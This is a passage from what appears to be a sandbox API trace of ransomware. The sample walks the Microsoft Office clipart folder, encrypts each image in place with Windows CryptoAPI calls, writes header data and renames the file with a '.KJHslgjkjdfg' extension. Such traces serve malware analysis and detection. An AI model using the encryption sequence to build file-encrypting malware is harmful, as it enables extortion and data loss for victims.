hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.042] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.042] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.045] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.048] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.049] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.049] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.051] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.052] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.052] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.052] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.052] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8a0c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x8a0c, lpOverlapped=0x0) returned 1 [0178.056] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8a10, dwBufLen=0x8a10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8a10) returned 1 [0178.057] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.057] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8a10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x8a10, lpOverlapped=0x0) returned 1 [0178.057] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.057] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8ae4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.057] SetEndOfFile (hFile=0x114) returned 1 [0178.060] GetProcessHeap () returned 0x2a0000 [0178.060] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.060] GetProcessHeap () returned 0x2a0000 [0178.060] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.060] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg.kjhslgjkjdfg")) returned 1 [0178.061] CloseHandle (hObject=0x114) returned 1 [0178.062] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7d6e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0179963.JPG", cAlternateFileName="")) returned 1 [0178.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.062] GetProcessHeap () returned 0x2a0000 [0178.062] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.063] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.063] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.063] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0178.065] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.065] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.065] GetProcessHeap () returned 0x2a0000 [0178.065] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.065] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.065] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.065] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.065] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.065] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.065] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.066] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.066] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.066] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.066] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.066] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.066] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7d6e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7d6e, lpOverlapped=0x0) returned 1 [0178.067] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7d70, dwBufLen=0x7d70 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7d70) returned 1 [0178.067] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.068] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7d70, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7d70, lpOverlapped=0x0) returned 1 [0178.068] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.068] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7e44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.068] SetEndOfFile (hFile=0x114) returned 1 [0178.072] GetProcessHeap () returned 0x2a0000 [0178.072] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.072] GetProcessHeap () returned 0x2a0000 [0178.072] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.072] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg.kjhslgjkjdfg")) returned 1 [0178.080] CloseHandle (hObject=0x114) returned 1 [0178.080] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x40e7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0182689.JPG", cAlternateFileName="")) returned 1 [0178.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.082] GetProcessHeap () returned 0x2a0000 [0178.082] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.082] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.082] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.082] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x9, lpOverlapped=0x0) returned 1 [0178.084] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.084] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.084] GetProcessHeap () returned 0x2a0000 [0178.084] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.084] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.085] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.085] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.085] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.085] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.085] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.085] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.085] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.085] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.085] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.085] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.086] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40e7, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x40e7, lpOverlapped=0x0) returned 1 [0178.087] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x40f0, dwBufLen=0x40f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x40f0) returned 1 [0178.087] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.087] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x40f0, lpOverlapped=0x0) returned 1 [0178.087] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.087] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x41c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.087] SetEndOfFile (hFile=0x114) returned 1 [0178.090] GetProcessHeap () returned 0x2a0000 [0178.090] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.090] GetProcessHeap () returned 0x2a0000 [0178.090] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.090] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg.kjhslgjkjdfg")) returned 1 [0178.091] CloseHandle (hObject=0x114) returned 1 [0178.092] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5f48, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0182888.WMF", cAlternateFileName="")) returned 1 [0178.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.092] GetProcessHeap () returned 0x2a0000 [0178.092] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.093] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.093] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.093] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.102] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.102] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.102] GetProcessHeap () returned 0x2a0000 [0178.102] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.102] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.102] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.102] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.102] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.102] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.102] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.103] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.103] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.103] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.103] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.103] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.103] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5f48, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5f48, lpOverlapped=0x0) returned 1 [0178.105] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5f50, dwBufLen=0x5f50 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5f50) returned 1 [0178.107] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.107] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5f50, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5f50, lpOverlapped=0x0) returned 1 [0178.107] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.107] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6024, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.107] SetEndOfFile (hFile=0x114) returned 1 [0178.110] GetProcessHeap () returned 0x2a0000 [0178.110] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.110] GetProcessHeap () returned 0x2a0000 [0178.110] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.110] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf.kjhslgjkjdfg")) returned 1 [0178.112] CloseHandle (hObject=0x114) returned 1 [0178.112] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0182898.WMF", cAlternateFileName="")) returned 1 [0178.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.113] GetProcessHeap () returned 0x2a0000 [0178.113] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.113] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.113] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.114] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0178.117] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.117] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.117] GetProcessHeap () returned 0x2a0000 [0178.117] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.117] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.117] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.117] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.117] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.118] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.118] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.118] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.118] WriteFile (in: hFile=0x114, 